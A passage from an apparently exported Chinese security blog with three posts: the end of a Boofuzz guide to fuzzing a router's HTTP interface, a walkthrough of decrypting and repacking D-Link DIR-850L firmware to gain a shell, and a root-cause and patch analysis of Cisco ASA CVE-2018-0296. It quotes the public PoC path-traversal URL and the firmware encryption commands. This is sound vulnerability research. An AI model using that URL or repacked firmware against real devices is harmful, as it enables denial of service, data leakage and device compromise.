encoding=\"utf-8\"?>`进行变异,是将其当作一个整体,还是拆分为更小的单元?\n\n至于具体怎么对某个字段进行变异,如针对字符串的变异,该框架内已包含一些规则。当然,也可以自己增加规则。\n\n类似的,对网络数据包中的其他`http`接口请求进行同样的定义。\n\n> 测试的接口越多,触发问题的可能性越大。\n\n#### 设置会话信息\n\n根据捕获的数据包定义完`请求`后,设置与`会话`相关的信息,包括目标设备的ip地址、端口等。\n\n```python\nhost = '192.168.2.1'\nport = 80\n\n# 其他参数可以按需设置,比如添加fuzz_loggers来保存测试用例和结果等\nsession = Session(session_filename='http_session', receive_data_after_fuzz=True, ignore_connection_reset=True, restart_sleep_time=10)\ntarget = Target(\n connection=SocketConnection(host, port, proto='tcp'),\n netmon=Remote_NetworkMonitor(host, port, proto='tcp')) # 服务可用性监控\n\nsession.add_target(target)\n```\n\n然后将之前定义的`请求`按照一定的先后顺序链接起来,部分示例如下。\n\n```python\nsession.connect(s_get('login'))\t\t# 默认前置节点为root\nsession.connect(s_get('login'), s_get('setsysemailsettings'), callback=add_auth_callback)\nsession.connect(s_get('login'),s_get('setsyslogsettings'), callback=add_auth_callback)\nsession.connect(s_get('login'),s_get('setschedulesettings'), callback=add_auth_callback)\n```\n\n其中,由于`setsysemailsettings`、`setsyslogsettings`、`setschedulesettings`等请求需要在登录之后才可以正常使用,所以需要在`login`请求之后发生。而`setsysemailsettings`、`setsyslogsettings`和`setschedulesettings`这几个请求之间则没有明确的先后关系。`add_auth_callback`为自定义的回调函数,主要用于从`login`请求中获取用于登录认证的信息如`cookie`,然后将其设置于`setsysemailsettings`、`setsyslogsettings`、`setschedulesettings`等请求中。\n\n<img src=\"images/session_graph_example.png\" style=\"zoom:70%\">\n\n#### 添加对目标设备的监控\n\n这里通过设备`HTTP`服务的可用性来判断目标设备是否发生异常。如果`HTTP`服务无法访问,说明设备可能崩溃了。前面设置的`Remote_NetworkMonitor()`就是用于对服务的可用性进行监测,其核心代码如下。\n\n```python\n# 通过TCP全连接来判断目标端口是否在监听\nif self.proto == \"tcp\" or self.proto == \"ssl\":\n try:\n self._sock.connect((self.host, self.port))\n self.alive_flag = 1\n except socket.error as e:\n self.alive_flag = 0\n```\n\n> `Remote_NetworkMonitor()`为自行添加的代码,不属于`Boofuzz`框架。\n\n前面也提到过,该监测方式的粒度比较粗,可能会存在漏报,可以采用或结合一些其他的方式进行改进。\n\n+ 如果可能,在测试时对设备内部的输出日志进行记录,比如设备打印的一些输出信息;\n+ 如果可能,在gdb调试状态下进行测试。\n\n至于对环境进行恢复,由于该设备崩溃后会自行重启,所以无须额外的操作,只需调用`sleep()`等待设备重启后即可。\n\n#### 开始fuzz\n\n最后调用`session.fuzz()`驱动整个过程,然后运行脚本即可。默认情况下,会在26000端口开启一个web服务,用于控制或查看测试的进度及相关信息等。在测试完成后,可以通过查看测试记录,看是否有测试用例造成目标设备出现异常,以进行进一步分析。\n\n<img src=\"images/boofuzz_webinterface.png\" style=\"zoom:80%\">\n\n> 笔者目前尚未对使用的`Boofuzz`框架进行更新。在最新的commit中,对web界面进行了改进,显示的信息更丰富。\n\n### 小结\n\n本文以`IoT`设备为例,对模糊测试框架`Boofuzz`,以及利用该框架对网络协议进行fuzz的基本流程进行了简要介绍。如果想要获得更好的效果,还需要对其中的细节进行进一步的优化与完善。\n\n### 相关链接\n\n+ [boofuzz: Network Protocol Fuzzing for Humans](https://github.com/jtpereyda/boofuzz)\n+ [Fuzzing Sucks! Introducing Sulley Fuzzing Framework](http://docplayer.net/42947526-Fuzzing-sucks-introducing-sulley-fuzzing-framework-pedram-amini-1-aaron-portnoy-2-black-hat-us-2007.html)\n\n\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/5gwJpqj7ysue19OcoPI16A](https://mp.weixin.qq.com/s/5gwJpqj7ysue19OcoPI16A)","categories":["IoT","fuzz"]},{"title":"D-Link DIR-850L路由器分析之获取设备shell","url":"/2019/03/18/D-Link-DIR-850L路由器分析之获取设备shell/","content":"\n### 前言\n\n在对IoT设备进行安全分析时,通常设备对我们而言像个\"黑盒子\",通过给它提供输入然后观察它的反馈输出,而对设备的\"内部\"并不了解。如果能够通过某种方式进入设备\"内部\",获取到设备的shell,则会对后续的分析提供极大的便利。\n\n<!-- more -->\n\n针对IoT设备,常见的获取设备shell的方式有以下几种:\n\n+ 利用设备自身提供的telnet或ssh服务;\n+ 利用设备PCB板上预留的调试接口,如UART;\n+ 利用设备存在的已知漏洞,如命令注入漏洞;\n+ 利用设备提供的本地升级(或更新)机制。\n\n这里主要关注第4种方式,即**利用设备提供的本地升级(或更新)机制来获取设备的shell**。目前,很多厂商生产的设备都具备升级(或更新)的功能,包括在线升级和本地升级等方式。如果在升级功能的具体实现过程中缺乏对固件文件的有效校验,则可以利用这一\"缺陷\",通过对固件文件进行修改及重打包,实现获取设备shell的目的。\n\n> 使用该方法的前提: (1) 能够获取到固件文件;(2) 能够成功对固件进行解压及重打包。\n\n有一些设备同时支持在线升级和本地升级两种方式,其中在线升级机制做得比较完善,但本地升级机制可能存在缺陷。对于本地升级机制存在的缺陷,可能有人认为危害很小,毕竟只能影响自己的设备,但其可能存在以下两个\"隐患\":\n\n+ **\"软件源\"污染**:有人通过对固件进行修改及重打包后,将其发布到网上,而其他人下载了该固件文件,然后对设备进行升级更新;\n+ **\"暴露\"设备**:利用本地升级机制的缺陷,可以进入设备\"内部\"对设备进行更深入的分析,发现设备存在的安全缺陷。\n\n> 有些设备的在线升级(或更新)机制可能也存在缺陷,此时其危害会更大。\n\n下面以D-Link DIR-850L路由器为例,介绍如何利用设备的本地升级机制来获取设备的shell。\n\n### 固件初步分析\n\n从D-Link官网下载`DIR-850L`型号的路由器固件`DIR850LB1_FW221WWb01.bin` (截止到撰写本文时的最新版本,对应硬件版本为`B1`),然后利用`Binwalk`工具对其分析,如下。\n\n```shell\n$ binwalk DIR850LB1_FW221WWb01.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n```\n\n由上可知,采用`Binwalk`工具没有任何输出。利用`Binwalk`工具计算一下该固件的熵,结果如下。\n\n```shell\n$ binwalk -E DIR850LB1_FW221WWb01.bin \n\nDECIMAL HEXADECIMAL ENTROPY\n--------------------------------------------------------------------------------\n0 0x0 Rising entropy edge (0.995199)\n```\n\n<img src=\"images/firmware_entropy.png\" style=\"zoom:85%\">\n\n由上图可知,该固件的熵非常高,表明该固件很有可能是经过加密或混淆的(加密的可能性更大),导致`Binwalk`工具分析提取失败,因此需要对该固件的加密方式进行分析。\n\n> 简单地说,一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。`Binwalk`工具的作者曾介绍过熵、加密和混淆等内容,更多内容可参见文末的相关链接。\n>\n\n### 固件加解密分析\n\n在Pierre 2017年的博客[Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol](https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html)中,批露了其在Dlink 850L路由器中发现的10个CVE漏洞信息,其中给出了DIR850L REVB型号固件的解密方式 (针对`DIR850LB1_FW207WWb05.bin`、`DIR850LB1 FW208WWb02.bin`固件,当时应该是最新版)。\n\n从网上下载固件`DIR850LB1_FW207WWb05.bin`,利用`Binwalk`工具对其进行分析,如下:\n\n```shell\n$ binwalk DIR850LB1_FW207WWb05.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n```\n\n同样,`Binwalk`工具没有任何输出。采用文中提供的方式对该固件进行解密,再次进行分析,如下:\n\n```shell\n$ binwalk DIR850LB1_FW207WWb05_decrypt.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n0 0x0 DLOB firmware header, boot partition: \"dev=/dev/mtdblock/1\"\n10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes\n1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes\n1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14\n```\n\n可以看到,经过解密之后,`Binwalk`工具能够成功对该固件进行提取分析。在采用同样的方式对最新版固件`DIR850LB1_FW221WWb01.bin`进行解密和分析,`Binwalk`工具还是分析失败,说明新版的固件更换了加密方式,原有的解密方式已经不适用了。\n\n在这种情况下,如何对新版固件的加密方式进行分析呢?通常而言,固件从一种加密方式变为另一种加密方式,中间会有个\"过渡\",常见的情形如下。\n\n<img src=\"images/firmware_encrypt_change.png\" style=\"zoom:85%\">\n\n其中,在情形1中,存在某个中间版本的固件,其自身采用方式1进行加密,内部提供方式2进行解密;在情形2中,存在某个中间版本的固件,其自身没有加密,内部提供方式2进行解密。因此,只需要找到对应的中间版本固件,对其进行分析,就可以知道如何对新版固件进行解密。\n\n通过对`DIR-850L` ` REVB`型号的设备固件进行分析,发现其方式类似于情形2,中间版本固件为`DIR850LB1_FW210WWb03.bin`。找到中间版本的固件后,需要对固件中的解密代码进行定位,以分析其解密逻辑。\n\n#### 加解密代码定位\n\n由于老版本固件的加解密方式比较简单,这里选择对`2.07`版本的固件(`DIR850LB1_FW207WWb05.bin`)进行分析,来定位固件程序中与加解密相关的代码。\n\n通过对固件进行解压提取,然后对文件系统中包含的二进制程序进行分析,发现其中的`cgibin`程序主要负责对http请求进行处理与响应,包括固件升级等。利用IDA Pro工具加载`cgibin`程序,`main()`函数的结构如下,其主要是根据不同的请求字符串进入不同的处理逻辑。\n\n<img src=\"images/cgibin_main_graph.png\">\n\n根据`main()`函数中的字符串`\"fwup.cgi\"`、`\"fwupdater\"`和`\"fwupload.cgi\"`等,对对应的处理逻辑函数进行分析,结合Pierre博客中给出的解密方式,最终定位到对应的解密代码在函数`sub_4086C0()`中,如下。\n\n<img src=\"images/firmware_decrypt_code.png\" style=\"zoom:75%\">\n\n对应的函数调用图如下。\n\n<img src=\"images/call_graph.png\" style=\"zoom:70%\">\n\n根据该调用路径,对`2.10`版本固件(`DIR850LB1_FW210WWb03.bin`)中的cgibin程序进行分析,定位与解密相关的代码片段,最终定位到函数`sub_4090E0()`。在函数`sub_4090E0()`中,除了有一个类似于老版本固件的解密流程外,在后面还有一部分逻辑与`AES`解密相关,可能是在原有基础上又采用了`AES`进行加密。\n\n<img src=\"images/new_firmware_decrypt_code.png\" style=\"zoom:60%\">\n\n对应的函数调用图如下。\n\n<img src=\"images/new_call_graph.png\" style=\"zoom:75%\">\n\n定位到固件解密代码后,可以通过静态代码分析和动态调试等方式理清代码的具体逻辑,进而编写相应的解密脚本,对固件进行解密。\n\n#### \"意外\"的收获\n\n由前面的函数调用图可知,函数`sub_4090E0()`在函数`encrypt_main()`中被调用。在对固件解密代码进行定位的过程中注意到,`encrypt_main()`函数在调用`sub_4090E0()`时,旁边还有一些其他分支,比如错误处理分支`loc_4097E8`,如下。\n\n<img src=\"images/encrypt_main_error_branch.png\" style=\"zoom:70%\">\n\n`sub_408F8C()`函数主要是打印一些帮助信息,而在`encrypt_main()`函数的开始部分调用`getopt()`函数来解析参数,因此猜测`sub_408F8C()`打印的帮助信息就是`encrypt_main()`函数的用法。sub_408F8C()函数的内容如下。\n\n<img src=\"images/sub_408F8C.png\" style=\"zoom:90%\">\n\n注意到其中的`\"encimg\"`字符串,而在对固件文件系统进行分析时,正好也有一个名称为`encimg`的程序,该程序的帮助说明与这个一样,猜测`encrypt_main()`函数的功能与它一样,即可以直接利用`encimg`程序对固件进行加解密。通过测试表明该猜想是正确的,这样就免去了人工分析解密代码处理逻辑的过程。\n\n```shell\n# Usage of encimg\n# decrypt firmware\n$ <extracted_firmware_path>/usr/sbin/encimg -i <input_file> -d -s <key>\n\n# encrypt firmware\n$ <extracted_firmware_path>/usr/sbin/encimg -i <input_file> -e -s <key>\n```\n\n### 固件升级机制分析\n\n成功对固件进行解密后,还需要对固件的升级处理逻辑进行分析,看是否存在校验机制。一种方式是对与升级过程相关的代码进行分析,看代码中是否存在相关校验逻辑。另外,也可以采用\"快速试错\"的方式,即尝试通过对固件文件进行修改,然后重打包并进行升级,如果升级成功则说明其机制存在\"缺陷\"。经过测试,通过对固件文件进行修改及重打包后,可以成功升级。\n\n> 这里的校验机制是指对固件文件的校验,如文件签名校验、MD5值比对等,不包括固件头部的CRC校验等。\n\n另外,通过在升级过程中进行抓包分析,发现请求中仅包含与固件本身相关的内容。这种仅依赖于固件文件本身的本地升级校验机制,若在实现过程中考虑不周,则很容易存在问题。相比于本地升级而言,在线升级机制可以做得更完善,因为在通信过程中可以从服务器获取一些除固件文件之外的其他信息,比如文件MD5值等,当然也需要配合使用其他的技术,如通信加密等。\n\n### 固件修改及重打包\n\n在对固件进行解密后,可以利用`firmware-mod-kit`工具对固件进行解压,然后对固件文件系统进行修改,比如在启动时开启`telnet`/`ssh`服务,或者植入其他程序,修改完成之后再进行重打包即可。\n\n之后再对固件进行加密,对设备进行升级之后就可以成功获取设备的shell了。\n\n总的来说,当利用其他方式无法获取设备shell时,从固件的升级机制入手,可能会有意想不到的收获。\n\n### 相关链接\n\n+ [Binwalk](https://github.com/ReFirmLabs/binwalk)\n+ [Differentiate Encryption From Compression Using Math](http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/)\n+ [Encryption vs Compression, Part 2](http://www.devttys0.com/2013/06/encryption-vs-compression-part-2/)\n+ [Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol](https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html)\n+ [firmware-mod-kit](https://github.com/rampageX/firmware-mod-kit)\n\n\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/z33L4ZmYOzFdFTv8HvrM3w](https://mp.weixin.qq.com/s/z33L4ZmYOzFdFTv8HvrM3w)\n\n\n\n","tags":["固件"],"categories":["IoT"]},{"title":"CVE-2018-0296 Cisco ASA 拒绝服务漏洞分析","url":"/2019/03/01/CVE-2018-0296-Cisco-ASA-拒绝服务漏洞分析/","content":"\n### 漏洞简介\n\n`CVE-2018-0296`是思科`ASA`设备`Web`服务中存在的一个拒绝服务漏洞,远程未认证的攻击者利用该漏洞可造成设备崩溃重启。该漏洞最初由来自`Securitum`的安全研究人员`Michal Bentkowski `发现,其在[博客](https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/)中提到该漏洞最初是一个认证绕过漏洞,上报给思科后,最终被归类为拒绝服务漏洞。据思科发布的[安全公告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd)显示:针对部分型号的设备,该漏洞可造成设备崩溃重启;而针对其他型号的设备,利用该漏洞可获取设备的敏感信息,造成信息泄露。\n\n<!-- more -->\n\n针对该漏洞,目前已有公开的`PoC`脚本,可用于获取设备的敏感信息如用户名,或造成设备崩溃重启。经过实际测试,在公开`PoC`中造成该漏洞的关键`url`如下。\n\n```python\nhttps://<ip>:<port>/+CSCOU+/../+CSCOE+/files/file_list.json?path=/\n```\n\n下面利用思科`ASA`设备和已有的`PoC`脚本,对该漏洞的形成原因进行分析。\n\n### 背景知识\n\n在实际对漏洞进行分析的过程中,发现思科`ASA`设备的`lina`程序中,存在大量的`Lua`脚本以及对`Lua` `api`的调用。为了便于理解,下面对`Lua`脚本的相关知识进行简单介绍。\n\n#### `Lua`脚本和`C/C++`交互\n\n`Lua`是一个小巧的脚本语言,其设计目的是为了嵌入应用程序中,从而为应用程序提供灵活的扩展和定制功能。`Lua脚本`可以很容易被`C/C++`代码调用,也可以反过来调用`C/C++`的函数,这使得`Lua`在应用程序中可以被广泛使用。不仅可作为扩展脚本,也可以作为普通的配置文件,代替`XML`、`ini`等文件格式,并且更容易理解和维护。\n\n`Lua`和`C/C++`通信的主要方式是一个虚拟栈,其特点是后进先出。在`Lua`中,`Lua`栈就是一个`struct`,栈的索引可以是正数也可以是负数,其中正数索引`1`永远表示栈底,负数索引`-1`永远表示栈顶,如下图所示。\n\n<img src=\"images/lua_stack.png\" style=\"zoom:70%\">\n\n`Lua`中的栈在`stack_init()`函数中创建,其类似于下面的定义。\n\n```c\nTObject stack[BASIC_STACK_SIZE + EXTRA_STACK]\n```\n\n在`Lua`中,可以往栈上压入字符串、数值、表和闭包等类型,最后统一用`Tobject`这种数据结构进行保存,如下。`TObject`结构对应于`Lua`中所有的数据类型,是一个`{值,类型}`结构,它将值和类型绑在一起。其中用`tt`表示`value`的类型,`value`是一个联合体,共有4个域,说明如下。\n\n+ `p`:可以保存一个指针,实际上指向`Lua`中的`light userdata`结构\n+ `n`:保存数值,包括`int`、`float`等类型\n+ `b`:保存布尔值\n+ `gc`:保存需要内存管理垃圾回收的类型如`string`、`table`、`closure`等\n\n<img src=\"images/lua_tobject.png\">\n\n```c\n// lua 数据类型\n#define LUA_TNONE\t\t\t(-1)\n\n#define LUA_TNIL\t\t\t0\t// 空值\n#define LUA_TBOOLEAN\t\t\t1\n#define LUA_TLIGHTUSERDATA\t\t2\n#define LUA_TNUMBER\t\t\t3\n#define LUA_TSTRING\t\t\t4\n#define LUA_TTABLE\t\t\t5\n#define LUA_TFUNCTION\t\t\t6\n#define LUA_TUSERDATA\t\t\t7\n#define LUA_TTHREAD\t\t\t8\n```\n\n#### `Lua` 栈操作常用`api`\n\n`Lua`中提供了一系列与栈操作相关的`api`,常用的`api`如下。\n\n```c\n// 压入元素\nvoid lua_pushnil (lua_State *L);\nvoid lua_pushboolean (lua_State *L, int bool);\nvoid lua_pushnumber (lua_State *L, double n);\nvoid lua_pushlstring (lua_State *L, const char *s, size_t length);\nvoid lua_pushstring (lua_State *L, const char *s);\n\n// 检查一个元素是否是一个指定的类型\nint lua_is* (lua_State *L, int index);\t// *可以是任何类型\n\n// 获取元素\nint lua_toboolean (lua_State *L, int index);\ndouble lua_tonumber (lua_State *L, int index);\nconst char * lua_tostring (lua_State *L, int index);\nsize_t lua_strlen (lua_State *L, int index);\n```\n\n### 环境准备\n\n#### 调试环境搭建\n\n由于该漏洞在不同型号设备上表现的行为不一致,这里分别选取了32位的设备和64位的设备,相关信息如下。其中,前面2个设备用于漏洞分析,设备`asav9101`用于补丁分析。\n\n+ 真实设备`ASA 5505`,镜像为`asa924-k8.bin` ,`32bit`\n+ `GNS3`仿真设备,镜像为`asav962.qcow2`,`64bit` \n+ `GNS3`仿真设备,镜像为`asav9101.qcow2`,`64bit`\n\n`ASA`设备中内置了`gdbsever`,但默认不启动。为了对设备进行调试,需要修改镜像文件以启动`gdbserver`。同时,由于`ASA`设备会对镜像文件进行完整性校验,所以修改后的镜像文件无法直接通过`tftp`或`ASDM`工具传入设备。`ASA`使用CF卡作为存储设备,可以通过用CF卡读卡器直接将镜像写入CF卡中的方式绕过校验,因为`ASA`没有对CF中的镜像进行校验。\n\n详细的调试环境搭建和镜像修改等内容可以参考`nccgroup`的系列[博客](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/cisco-asa-series-part-one-intro-to-the-cisco-asa/).\n\n#### 设备配置\n\n思科ASA设备会在`443`端口提供Web服务。笔者在进行测试时,对设备的`WebVPN`功能(`Clientless SSL VPN`)进行了配置,使得可以访问Web服务,进而触发该漏洞。详细的配置操作可参考思科[相关文档](https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html)。\n\n### 漏洞分析\n\n环境搭建好后,运行已有的`PoC`脚本,针对`asa924`设备,会造成敏感信息泄露,而针对`asav962`设备,会造成设备崩溃重启。下面基于`asav962`设备,重点对拒绝服务漏洞进行分析。\n\n#### 崩溃分析\n\n运行`PoC`脚本,在`gdb`中捕获到如下错误。可以看到,崩溃点在`libc.so.6`库中的`strlen()`函数里,由于在`0x7ffff497699a`处尝试访问一个非法的内存地址`0x13`,故产生`Segmentation fault`错误,而`rax`的值来源于`strlen()`函数的参数。\n\n```shell\nThread 2 received signal SIGSEGV, Segmentation fault.\n[Switching to Thread 1677]\n0x00007ffff497699a in strlen () from ***/_asav962.qcow2.extracted/rootfs/lib64/libc.so.6\n(gdb) x/10i $rip\n=> 0x7ffff497699a <strlen+42>: movdqu xmm12,XMMWORD PTR [rax]\n 0x7ffff497699f <strlen+47>: pcmpeqb xmm12,xmm8\n 0x7ffff49769a4 <strlen+52>: pmovmskb edx,xmm12\n 0x7ffff49769a9 <strlen+57>: test edx,edx\n 0x7ffff49769ab <strlen+59>: je 0x7ffff49769b1 <strlen+65>\n 0x7ffff49769ad <strlen+61>: bsf eax,edx\n 0x7ffff49769b0 <strlen+64>: ret\n 0x7ffff49769b1 <strlen+65>: and rax,0xfffffffffffffff0\n 0x7ffff49769b5 <strlen+69>: pcmpeqb xmm9,XMMWORD PTR [rax+0x10]\n 0x7ffff49769bb <strlen+75>: pcmpeqb xmm10,XMMWORD PTR [rax+0x20]\n(gdb) i r $rax\nrax 0x13 19\n(gdb) bt\n#0 0x00007ffff497699a in strlen () from ***/_asav962.qcow2.extracted/rootfs/lib64/libc.so.6\n#1 0x0000555557ee51ce in lua_pushstring ()\n#2 0x00005555583c87d2 in webvpn_file_name ()\n#3 0x0000555557eec43b in luaD_precall ()\n#4 0x0000555557efc258 in luaV_execute ()\n#5 0x0000555557eeced0 in luaD_call ()\n#6 0x0000555557eebeda in luaD_rawrunprotected ()\n#7 0x0000555557eed323 in luaD_pcall ()\n#8 0x0000555557ee5de6 in lua_pcall ()\n#9 0x0000555557f00821 in lua_dofile ()\n#10 0x000055555822053b in aware_run_lua_script_ns ()\n#11 0x0000555557dc6e3d in ak47_new_stack_call ()\nBacktrace stopped: previous frame inner to this frame (corrupt stack?)\n```\n\n根据栈回溯信息,查看函数`lua_pushstring()`和`webvpn_file_name()`,其部分伪代码片段如下。在函数`webvpn_file_name()`中,将`v1 + 0x13`这个指针作为参数传递给`lua_pushstring()`,最终传递给`strlen()`函数。崩溃点处访问的非法内存地址为`0x13`,说明`v1=0`,即在`webvpn_file_name()`中`lua_touserdata()`返回值为`NULL`(也就是0)。\n\n```assembly\n_DWORD *__fastcall lua_pushstring(__int64 a1, const char *a2)\n{\n size_t v2; // r14\n __int64 v3; // r13\n _DWORD *result; // rax\n\n if ( a2 )\n {\n v2 = _wrap_strlen(a2);\n // ...\n}\n\nsigned __int64 __fastcall webvpn_file_name(_QWORD *a1)\n{\n signed __int64 v1; // rax\n\n v1 = lua_touserdata(a1, 1);\n lua_pushstring((__int64)a1, (const char *)(v1 + 0x13));\n return 1LL;\n}\n```\n\n由前面`lua`的相关知识可知,函数`lua_touserdata()`用于获取栈底数据。因此,很自然的想法就是分析这个`NULL`值是从哪里来的,即在什么地方通过调用`lua_pushnil()`往栈上压入了`NULL`值。\n\n#### 静态分析\n\n通过查找字符串`/+CSCOE+/files/file_list.json`的交叉引用定位到`aware_webvpn_content()`函数。在该函数中可以看到有很多请求`url`的字符串,同时还包含很多`lua`脚本的名称,猜测该函数应该是负责对这些请求进行处理,根据不同的请求`url`执行对应的`lua`脚本。示例如下。\n\n<img src=\"images/file_list_json_api.png\" style=\"zoom:70%\">\n\n查看`files_list_json_lua`脚本的内容,其主要功能是列出当前路径下的目录或文件,依次调用了`Lua`中的`OPEN_DIR()`、`READ_DIR()`、`FILE_NAME()`、`FILE_IS_DIR()`等函数。而在`aware_addlib_netfs()`函数中,建立了`Lua`函数和`C`函数之间的对应关系,示例如下。\n\n<img src=\"images/lua_c_function.png\" style=\"zoom:80%\">\n\n```c\n// Lua函数与C函数对应关系\nOPEN_DIR() \t<--->\t\twebvpn_open_dir()\nREAD_DIR()\t\t<--->\t\twebvpn_read_dir()\nFILE_NAME()\t\t<--->\t\twebvpn_file_name()\nFILE_IS_DIR()\t<--->\t\twebvpn_file_is_dir()\n```\n\n在查看对应的`C`函数时,在`webvpn_read_dir()`函数中,有一个对`lua_pushnil()`函数的调用。根据函数的调用顺序,猜测`webvpn_file_name()`函数中获取到的`NULL`值来自于这里。\n\n<img src=\"images/call_lua_pushnil.png\" style=\"zoom:80%\">\n\n#### 动态分析\n\n根据之前的猜测,尝试在调用`lua_pushnil()`处下断点,然后查看`Lua`栈上的数据,如下。\n\n<img src=\"images/lua_pushnil_breakpoint.png\" style=\"zoom:100%\">\n\n其中,`rdi`指向的数据结构的定义大致如下,这里主要关注其中的`lua_stack_top_ptr`和`lua_stack_base_ptr`两个指针,分别指向`Lua`栈的栈顶和栈底,栈中的元素就是前面提到的`{类型,值}`结构。\n\n```c\nstruct {\n uint64 xxx;\n uint64 xxx; \n uint64 lua_stack_top_ptr; // 指向栈顶 (空栈,即始终指向刚入栈元素的下一个位置)\n uint64 lua_stack_base_ptr; // 指向栈底 (栈地址由低向高增长)\n uint64 xxx;\n uint64 xxx;\n uint64 xxx;\n uint64 xxx;\n ... \n}\n```\n\n之后在`webvpn_file_name()`中调用`lua_touserdata()`函数前下断点,查看此时`Lua`栈上的内容,如下。此时,`lua_touserdata()`函数的第2个参数为1,即获取`Lua`栈底的数据,而此时栈底的数据为`NULL`。\n\n<img src=\"images/call_lua_touserdata.png\" style=\"zoom:100%\">\n\n继续单步执行程序,查看函数`lua_touserdata()`的返回值。可以看到,其返回值确实为`NULL`,之后将一个非法内存地址`0x13`作为参数传入了`lua_pushstring()`,最终导致`Segmentation fault`错误。\n\n<img src=\"images/call_lua_pushstring.png\">\n\n但是,这里的`NULL`值并不是来自之前`lua_pushnil()`压入的`nil`值,而是位于其下面的栈元素。在下断点调试的过程中,发现设置的2个断点均只命中一次就触发了问题,极大地缩小了调试的范围。同时,在2个断点处`Lua`栈的地址是一样的,因此可以在第1个断点命中后,对相应的`Lua`栈地址设置硬件断点,看在哪个地方对其值进行了修改。\n\n在`gdb`中设置硬件断点后,继续执行时提示如下错误。网上查找相应的解决方案,建议使用`set can-use-hw-watchpoints 0`,但实际测试时貌似也存在问题。最后采用`hook-stop`的方式来观察指定地址处的内容。\n\n<img src=\"images/watchpoint_error.png\">\n\n```shell\ndefine hook-stop\n\tx/2gx <addr>\nend\n```\n\n通过设置断点并查看相应地址处的内容,最终定位到修改内容的地方位于`luaV_execute()`中。对照`lua-5.0`源码,`luaV_execute()`函数是`Lua VM`执行字节码的入口,修改内容的地方位于`OP_GETGLOBAL`操作码的处理流程中。\n\n<img src=\"images/modify_value.png\" style=\"zoom:80%\">\n\n#### asav962与asa924执行流程对比\n\n前面的分析定位到了`luaV_execute()`函数中,而该函数属于`Lua VM`的一部分,难道是因为`files_list_json_lua`脚本存在问题,而导致`Lua VM`执行字节码时出现错误?由于该拒绝服务漏洞对型号为`asa924`的设备没有影响,下面对`asa924`设备上对应的执行流程进行分析。\n\n根据前面的分析思路,在`webvpn_file_name()`中设置断点,发现其流程与`asav962`类似,`lua_touserdata()`函数的返回值同样会为`NULL`,而`asa924`设备却不会发生崩溃。2个`webvpn_file_name()`的对比如下。\n\n<img src=\"images/webvpn_file_name_compare.png\" style=\"zoom:60%\">\n\n通过调试可知,针对32位程序(`asa924`),`lua_touserdata()`函数的返回值为指向字符串的指针。当该指针为空时,其直接作为参数传入`lua_pushstring()`,而在`lua_pushstring()`中会对参数是否为空进行判断。而针对64位程序(`asav962`),`lua_touserdata()`函数的返回值为指向某个结构体的指针。当该指针为空时,传入`lua_pushstring()`的参数为`0x13`,从而”绕过“了`lua_pushstring()`中的校验,最终造成非法内存地址访问。\n\n至此,分析清楚了该拒绝服务漏洞产生的原因,主要是由于32位程序和64位程序中`lua_touserdata()`函数的返回值代表的结构不一致造成的。\n\n### 补丁分析\n\n在镜像`asav9101.qcow2`中该漏洞被修复了。基于前面对漏洞形成原因的分析,下面以`asav9101.qcow2`镜像为例,对漏洞的修复情况进行简单分析。\n\n#### 目录遍历漏洞补丁分析\n\n通过动态调试分析,对请求`url`的解析在`UrlSniff_cb()`函数中完成,其中增加了对`./`和`../`的处理逻辑,部分代码如下。\n\n```c\nv16 = *v5;\t\t// v5 指向请求url\nv17 = v5;\nv18 = v5;\nLABEL_45:\nwhile ( v16 )\n{\nif ( v16 == '.' )\n{\n v20 = v18[1];\n switch ( v20 )\n {\n case '.':\n v9 = (unsigned __int8)v18[2];\n if ( !(_BYTE)v9 )\n goto LABEL_75;\n if ( (_BYTE)v9 == '/' )\n {\n v20 = v18[3];\t// 匹配到\"../\"\n v18 += 2;\nLABEL_75:\n ++v18;\n v16 = v20;\n goto LABEL_45;\n }\n break;\n case '/':\n v16 = v18[2];\t// 匹配到\"./\"\n v18 += 2;\n goto LABEL_45;\n case '\\0':\n ++v18;\n goto LABEL_60;\n }\n do\n {\nLABEL_48:\n```\n\n#### 拒绝服务漏洞补丁分析\n\n根据前面的分析可知,拒绝服务漏洞的触发位置在函数`webvpn_file_name()`中。在镜像`asav9101.qcow2`中,该函数内容如下,可以看到并没有对该函数进行更改。\n\n```assembly\nwebvpn_file_name proc near\n; __unwind {\npush rbp\nmov esi, 1\nmov rbp, rsp\npush rbx\nmov rbx, rdi\nsub rsp, 8\ncall lua_touserdata\nmov rdi, rbx\nlea rsi, [rax+13h]\ncall lua_pushstring\nadd rsp, 8\nmov eax, 1\npop rbx\npop rbp\nretn\n; }\n```\n\n在字符串列表中查找`/+CSCOE+/files/file_list.json`显示没有结果,表明在该镜像中将这个接口去掉了。同时根据之前`files_list_json_lua`脚本的内容进行查找,在该镜像中仍然可以找到对应的`lua`脚本内容,但是找不到对该脚本的交叉引用,进一步证实该接口`/+CSCOE+/files/file_list.json`被去掉了。\n\n### 小结\n\n+ 利用`CVE-2018-0296`漏洞,远程未认证的攻击者可以对目标设备实施拒绝服务攻击,或从设备获取敏感信息。\n+ 